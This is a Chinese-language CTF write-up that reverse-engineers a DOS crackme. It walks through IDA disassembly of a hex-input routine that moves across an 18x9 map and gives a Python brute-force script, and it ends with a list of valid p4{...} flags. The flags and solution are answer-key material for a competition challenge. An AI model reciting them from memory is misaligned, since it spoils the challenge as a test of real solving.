158
159
160
161
seg001:0058 ; =============== S U B R O U T I N E =======================================
seg001:0058
seg001:0058
seg001:0058 sub_10148 proc near ; CODE XREF: start+19↑p
seg001:0058 mov si, 0
seg001:005B add si, 50h ; 'P'
seg001:005E mov cx, 9
seg001:0061
seg001:0061 loc_10151: ; CODE XREF: sub_10148+4D↓j
seg001:0061 push cx
seg001:0062 mov cx, 2
seg001:0065 xor dl, dl
seg001:0067 mov bl, 10h
seg001:0069
seg001:0069 loc_10159: ; CODE XREF: sub_10148+29↓j
seg001:0069 mov ah, 1
seg001:006B int 21h ; DOS - KEYBOARD INPUT
seg001:006B ; Return: AL = character read
seg001:006D cmp al, 3Ah ; ':'
seg001:006F jb short loc_10198
seg001:0071 cmp al, 47h ; 'G'
seg001:0073 jb short loc_101AA
seg001:0075 cmp al, 67h ; 'g'
seg001:0077 jb short loc_101A0
seg001:0079 jmp short loc_101B4
seg001:007B ; ---------------------------------------------------------------------------
seg001:007B
seg001:007B loc_1016B: ; CODE XREF: sub_10148+56↓j
seg001:007B ; sub_10148+60↓j ...
seg001:007B mul bl
seg001:007D add dl, al
seg001:007F mov bl, 1
seg001:0081 loop loc_10159
seg001:0083 mov cx, 4
seg001:0086
seg001:0086 loc_10176: ; CODE XREF: sub_10148+4A↓j
seg001:0086 mov al, dl
seg001:0088 and al, 1
seg001:008A jz short loc_101DF
seg001:008C jmp short loc_101F8
seg001:008E ; ---------------------------------------------------------------------------
seg001:008E
seg001:008E loc_1017E: ; CODE XREF: sub_10148+9C↓j
seg001:008E ; sub_10148+A7↓j ...
seg001:008E mov al, dl
seg001:0090 and al, 2
seg001:0092 jz short loc_101BE
seg001:0094 jmp short loc_101CE
seg001:0096 ; ---------------------------------------------------------------------------
seg001:0096
seg001:0096 loc_10186: ; CODE XREF: sub_10148:loc_101CC↓j
seg001:0096 ; sub_10148:loc_101DD↓j
seg001:0096 push cx
seg001:0097 mov cl, 2
seg001:0099 shr dl, cl
seg001:009B pop cx
seg001:009C mov bl, [si]
seg001:009E inc bl
seg001:00A0 mov [si], bl
seg001:00A2 loop loc_10176
seg001:00A4 pop cx
seg001:00A5 loop loc_10151
seg001:00A7 retn
seg001:00A8 ; ---------------------------------------------------------------------------
seg001:00A8
seg001:00A8 loc_10198: ; CODE XREF: sub_10148+17↑j
seg001:00A8 cmp al, 2Fh ; '/'
seg001:00AA jb short loc_101B4
seg001:00AC sub al, 30h ; '0'
seg001:00AE jmp short loc_1016B
seg001:00B0 ; ---------------------------------------------------------------------------
seg001:00B0
seg001:00B0 loc_101A0: ; CODE XREF: sub_10148+1F↑j
seg001:00B0 cmp al, 60h ; '`'
seg001:00B2 jb short loc_101B4
seg001:00B4 sub al, 61h ; 'a'
seg001:00B6 add al, 0Ah
seg001:00B8 jmp short loc_1016B
seg001:00BA ; ---------------------------------------------------------------------------
seg001:00BA
seg001:00BA loc_101AA: ; CODE XREF: sub_10148+1B↑j
seg001:00BA cmp al, 40h ; '@'
seg001:00BC jb short loc_101B4
seg001:00BE sub al, 41h ; 'A'
seg001:00C0 add al, 0Ah
seg001:00C2 jmp short loc_1016B
seg001:00C4 ; ---------------------------------------------------------------------------
seg001:00C4
seg001:00C4 loc_101B4: ; CODE XREF: sub_10148+21↑j
seg001:00C4 ; sub_10148+52↑j ...
seg001:00C4 mov dx, 0CAh
seg001:00C7 mov ah, 9
seg001:00C9 int 21h ; DOS - PRINT STRING
seg001:00C9 ; DS:DX -> string terminated by "$"
seg001:00CB jmp loc_10120
seg001:00CE ; ---------------------------------------------------------------------------
seg001:00CE
seg001:00CE loc_101BE: ; CODE XREF: sub_10148+3A↑j
seg001:00CE mov bx, si
seg001:00D0 cmp bx, 11h
seg001:00D3 ja short loc_101C7
seg001:00D5 jmp short loc_101CC
seg001:00D7 ; ---------------------------------------------------------------------------
seg001:00D7
seg001:00D7 loc_101C7: ; CODE XREF: sub_10148+7B↑j
seg001:00D7 sub bx, 12h
seg001:00DA mov si, bx
seg001:00DC
seg001:00DC loc_101CC: ; CODE XREF: sub_10148+7D↑j
seg001:00DC jmp short loc_10186
seg001:00DE ; ---------------------------------------------------------------------------
seg001:00DE
seg001:00DE loc_101CE: ; CODE XREF: sub_10148+3C↑j
seg001:00DE mov bx, si
seg001:00E0 cmp bx, 8Fh
seg001:00E4 jb short loc_101D8
seg001:00E6 jmp short loc_101DD
seg001:00E8 ; ---------------------------------------------------------------------------
seg001:00E8
seg001:00E8 loc_101D8: ; CODE XREF: sub_10148+8C↑j
seg001:00E8 add bx, 12h
seg001:00EB mov si, bx
seg001:00ED
seg001:00ED loc_101DD: ; CODE XREF: sub_10148+8E↑j
seg001:00ED jmp short loc_10186
seg001:00EF ; ---------------------------------------------------------------------------
seg001:00EF
seg001:00EF loc_101DF: ; CODE XREF: sub_10148+32↑j
seg001:00EF mov di, 0
seg001:00F2 cmp si, di
seg001:00F4 jz short loc_1017E
seg001:00F6 mov ax, si
seg001:00F8 mov bl, 12h
seg001:00FA div bl
seg001:00FC cmp ah, 0
seg001:00FF jz short loc_1017E
seg001:0101 mov bx, si
seg001:0103 dec bx
seg001:0104 mov si, bx
seg001:0106 jmp short loc_1017E
seg001:0108 ; ---------------------------------------------------------------------------
seg001:0108
seg001:0108 loc_101F8: ; CODE XREF: sub_10148+34↑j
seg001:0108 mov di, 0
seg001:010B cmp si, di
seg001:010D jz short loc_1020D
seg001:010F mov ax, si
seg001:0111 mov bl, 12h
seg001:0113 div bl
seg001:0115 cmp ah, 10h
seg001:0118 jnz short loc_1020D
seg001:011A jmp loc_1017E
seg001:011D ; ---------------------------------------------------------------------------
seg001:011D
seg001:011D loc_1020D: ; CODE XREF: sub_10148+B5↑j
seg001:011D ; sub_10148+C0↑j
seg001:011D mov bx, si
seg001:011F inc bx
seg001:0120 mov si, bx
seg001:0122 jmp loc_1017E
seg001:0122 sub_10148 endp

看到,si开始指向0x50偏移位置,而后置cx为9,循环9次,每次循环:
通过int 21h 读取两个字符(mov cx,2),其间会有一系列比较读入的字符,很显然保证输入为[0-9A-Fa-f],即16进制字符,看到如果不在范围内即会:

1
2
3
4
seg001:00C4                 mov     dx, 0CAh
seg001:00C7 mov ah, 9
seg001:00C9 int 21h
#输出0xCA偏移处字符串:Invalid input, bye bye!

当字符满足时会通过sub或者add获得字符对应的数值,而后:

1
2
3
4
seg001:007B                 mul     bl
seg001:007D add dl, al
seg001:007F mov bl, 1
seg001:0081 loop loc_10159

bl初始为0x10,这里因为会读取第一个字节mul bl而后置bl为1再读取第二个字节,所以dl中每两个字符其值为:input[0]*0x10+input[1],其实就是将此两位16进制字符转换成数字。而后其根据数字进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
首先:
seg001:0086 mov al, dl
seg001:0088 and al, 1
和:
seg001:008E mov al, dl
seg001:0090 and al, 2
即其会分别判断dl的末2bit值,然后判断si指针是否在界限内:
当si%0x12 >=0 and si%0x12 <=0x10,
末位为0: si减小,末位为1: si增大
否则到达上界不再增加,下界不再减小
当si >=0x11 and si<=0x8F
倒数第二bit为0: si-=0x12,为1: si+=0x12
否则到达上界不再增加,下界不再减小
两个位置判断后将dl右移两位,并且si所在位置自增1:
seg001:0096 push cx
seg001:0097 mov cl, 2
seg001:0099 shr dl, cl
seg001:009B pop cx
seg001:009C mov bl, [si]
seg001:009E inc bl
seg001:00A0 mov [si], bl
seg001:00A2 loop loc_10176
以此每两位字符转换成的数字以此处理4次:2*4=8bit,正好对应两位16进制字符

其实可以看出这是一个18*9的地图(正好对应最后的输出),边界为16*9,以我们的输入作方向进行移动,最后根据每个位置所经过步数对应预先定义的字母表,最终输出。
最后注意起始位置和结束位置:

1
2
3
4
5
6
7
8
seg001:0019                 call    sub_10148
seg001:001C mov di, si
seg001:001E call sub_10215
seg001:0021 mov al, 45h ; 'E'
seg001:0023 mov [di], al
seg001:0025 mov si, 0
seg001:0028 mov al, 53h ; 'S'
seg001:002A mov [si+50h], al

起始位置0x50处为”S”,结束位置(sub_10148返回si为最终位置)为”E”
对应flag.txt解即可,不过我以为解是p4{the_hex_string_we_input},但是提交不对,询问主办方,需要hex_string.decode(‘hex’)=p4{[0-9a-z]+}
所以确定了开始”p4{“和结束”}”,将得到的map简化并过滤字符求出满足条件的解即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding: UTF-8 -*-
#get the map
key1=[
0x20, 0x70, 0x34, 0x7B, 0x6B, 0x72, 0x75, 0x6C, 0x65, 0x5F,
0x63, 0x74, 0x66, 0x7D, 0x0A
]
key2=" 4 {4pp p {k4{ E p 44p{ p 4 p S "
key3=""
for i in range(len(key2)):
if i%18==0:
print key3
key3=""
if key2[i]=='E' or key2[i]=='S':
key3+=str(i)+"\t"
else:
key3+=str(key1.index(ord(key2[i])))+"\t"
key4="011111010011001000010110011100110110011010010111001100000111011011010000"
flag=""
for i in range(1,10):
flag+=hex(int(key4[72-i*8:72-i*8+8],2))[2:]

def step(s,x,y,map):
dis=[]
for o in map:
dis.append(o)
l=ord(s)
for i in range(4):
if l&1==0 and x!=0:
x-=1
if l&1==1 and x!=5:
x+=1
if l&2==0 and y!=0:
y-=1
if l&2!=0 and y!=3:
y+=1
if dis[y*6+x]==0:
return False,0,0
else:
dis[y*6+x]-=1
l=l>>2
return True,x,y,dis

#确定开始"p4{"和结束"}"后简化了地图
key=[
0,3,2,1,1,0,
1,4,2,3,0,1,
2,0,3,0,1,0,
0,0,0,0,0,0,
]
positon_x=1
position_y=2
k="0123456789abcdefghijklmnopqrstuvwxyz"
#5位过少,就没写递归循环,直接嵌套即可
for i in k:
if step(i,positon_x,position_y,key)[0]==True:
n,positon_x1,position_y1,ke1=step(i,positon_x,position_y,key)
for j in k:
if step(j,positon_x1,position_y1,ke1)[0]==True:
n,positon_x2,position_y2,ke2=step(j,positon_x1,position_y1,ke1)
for d in k:
if step(d,positon_x2,position_y2,ke2)[0]==True:
n,positon_x3,position_y3,ke3=step(d,positon_x2,position_y2,ke2)
for g in k:
if step(g,positon_x3,position_y3,ke3)[0]==True:
n,positon_x4,position_y4,ke4=step(g,positon_x3,position_y3,ke3)
for p in k:
if step(p,positon_x4,position_y4,ke4)[0]==True:
n,positon_x5,position_y5,ke5=step(p,positon_x4,position_y4,ke4)
if step('}',positon_x5,position_y5,ke5)[0]==True:
print "p4{"+i+j+d+g+p+"}"
#output:
0 0 0 0 0 0 0 0 2 0 3 2 1 1 0 0 0 0
0 0 0 0 0 0 0 1 0 3 4 2 3 0 32 0 0 0
0 0 0 0 0 0 1 0 2 2 1 3 0 1 0 0 0 0
0 0 0 0 0 0 0 2 0 1 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 80 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p4{4qi2f}
p4{4qib6}
p4{4qibc}
p4{aqi2f}
p4{aqib6}
p4{aqibc}
p4{qi2fa}
p4{qib6a}
p4{qibca}
p4{ti2f1}
p4{tib61}
p4{tibc1}
[Finished in 1.0s]
#题目说明有多解,随意提交其中一个即可

1
2
文章首发先知社区:
https://xz.aliyun.com/t/4574